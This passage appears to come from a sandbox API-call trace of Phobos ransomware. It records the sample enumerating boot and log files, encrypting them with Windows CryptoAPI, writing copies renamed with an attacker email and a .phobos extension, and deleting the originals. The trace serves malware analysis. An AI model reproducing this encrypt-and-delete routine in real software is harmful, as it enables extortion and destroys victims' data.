(lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui")) returned 0x20 [0056.250] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.250] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-MX\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-mx\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.250] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.250] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.250] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=75104) returned 1 [0056.251] CloseHandle (hObject=0x330) returned 1 [0056.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui")) returned 0x20 [0056.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.251] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\et-EE\\bootmgr.exe.mui" (normalized: "c:\\boot\\et-ee\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.251] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.251] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.251] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=76640) returned 1 [0056.251] CloseHandle (hObject=0x330) returned 1 [0056.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0056.251] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.251] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.251] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.251] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.251] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=45472) returned 1 [0056.251] CloseHandle (hObject=0x330) returned 1 [0056.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui")) returned 0x20 [0056.252] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.252] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.252] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.252] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.254] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=3695719) returned 1 [0056.254] CloseHandle (hObject=0x330) returned 1 [0056.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0056.254] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0056.254] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0 [0056.254] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.254] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.483] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=3878410) returned 1 [0056.483] CloseHandle (hObject=0x32c) returned 1 [0056.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0056.483] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0056.483] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0 [0056.483] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.483] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.656] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=174959) returned 1 [0056.656] CloseHandle (hObject=0x310) returned 1 [0056.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf")) returned 0x20 [0056.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.657] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgunn_boot.ttf" (normalized: "c:\\boot\\fonts\\malgunn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.657] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.657] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0056.693] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=177414) returned 1 [0056.693] CloseHandle (hObject=0x334) returned 1 [0056.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf")) returned 0x20 [0056.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.706] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\malgun_boot.ttf" (normalized: "c:\\boot\\fonts\\malgun_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.706] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.707] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0056.711] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=162331) returned 1 [0056.711] CloseHandle (hObject=0x310) returned 1 [0056.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20 [0056.711] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.715] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.715] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.715] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.717] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=154427) returned 1 [0056.717] CloseHandle (hObject=0x32c) returned 1 [0056.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20 [0056.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.718] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.719] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.719] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.720] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=85862) returned 1 [0056.720] CloseHandle (hObject=0x32c) returned 1 [0056.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf")) returned 0x20 [0056.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.720] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoen_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoen_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.720] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.720] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.720] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=86178) returned 1 [0056.720] CloseHandle (hObject=0x32c) returned 1 [0056.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf")) returned 0x20 [0056.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.721] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\segoe_slboot.ttf" (normalized: "c:\\boot\\fonts\\segoe_slboot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.721] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.721] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0056.807] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=49091) returned 1 [0056.807] CloseHandle (hObject=0x334) returned 1 [0056.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0056.807] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.807] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.807] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.807] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0056.880] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=1) returned 1 [0056.880] CloseHandle (hObject=0x334) returned 1 [0056.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 0x26 [0056.880] GetFileAttributesW (lpFileName="\\\\?\\C:\\BOOTNXT.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\bootnxt.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.881] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.881] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0056.881] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0056.881] CreateFileW (lpFileName="\\\\?\\C:\\BOOTNXT.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\bootnxt.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0056.881] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dca10) returned 1 [0056.882] CryptSetKeyParam (hKey=0x10dca10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0056.882] ReadFile (in: hFile=0x32c, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x1, lpOverlapped=0x0) returned 1 [0056.882] CryptEncrypt (in: hKey=0x10dca10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x10, dwBufLen=0x10 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x10) returned 1 [0056.882] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x10, lpOverlapped=0x0) returned 1 [0056.883] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dc690) returned 1 [0056.883] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0056.883] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x30, dwBufLen=0x30 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x30) returned 1 [0056.883] CryptDestroyKey (hKey=0x10dc690) returned 1 [0056.883] WriteFile (in: hFile=0x330, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0xe2, lpOverlapped=0x0) returned 1 [0056.883] CryptDestroyKey (hKey=0x10dca10) returned 1 [0056.883] CloseHandle (hObject=0x32c) returned 1 [0056.883] CloseHandle (hObject=0x330) returned 1 [0056.884] DeleteFileW (lpFileName="\\\\?\\C:\\BOOTNXT" (normalized: "c:\\bootnxt")) returned 1 [0056.885] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.885] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.886] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0056.886] CloseHandle (hObject=0x32c) returned 1 [0056.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 0x20 [0056.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\hardwareevents.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0056.886] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0056.886] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0056.886] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fc58 | out: lpNewFilePointer=0x0) returned 1 [0056.887] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\logs\\hardwareevents.evtx.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.887] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc10, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc6c | out: phKey=0x366fc6c*=0x10dc690) returned 1 [0056.887] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0056.887] ReadFile (in: hFile=0x32c, lpBuffer=0x3a1d020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesRead=0x366fc94*=0x11000, lpOverlapped=0x0) returned 1 [0056.894] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010, dwBufLen=0x11010 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x11010) returned 1 [0056.894] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x11010, lpOverlapped=0x0) returned 1 [0056.896] CryptImportKey (in: hProv=0x10b66e0, pbData=0x366fc04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x366fc70 | out: phKey=0x366fc70*=0x10dcb10) returned 1 [0056.896] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x366fd18, dwFlags=0x0) returned 1 [0056.896] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50, dwBufLen=0x50 | out: pbData=0x3a1d020*, pdwDataLen=0x366fc30*=0x50) returned 1 [0056.896] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0056.896] WriteFile (in: hFile=0x31c, lpBuffer=0x3a1d020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x366fc78, lpOverlapped=0x0 | out: lpBuffer=0x3a1d020*, lpNumberOfBytesWritten=0x366fc78*=0x102, lpOverlapped=0x0) returned 1 [0056.896] CryptDestroyKey (hKey=0x10dc690) returned 1 [0056.896] CloseHandle (hObject=0x32c) returned 1 [0056.896] CloseHandle (hObject=0x31c) returned 1 [0056.898] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\HardwareEvents.evtx" (normalized: "c:\\logs\\hardwareevents.evtx")) returned 1 [0056.899] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x366fd18 | out: pbBuffer=0x366fd18) returned 1 [0056.899] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.899] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x366fcb8 | out: lpFileSize=0x366fcb8*=69632) returned 1 [0056.899] CloseHandle (hObject=0x31c) returned 1 [0056.899] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Internet Explorer.evtx" 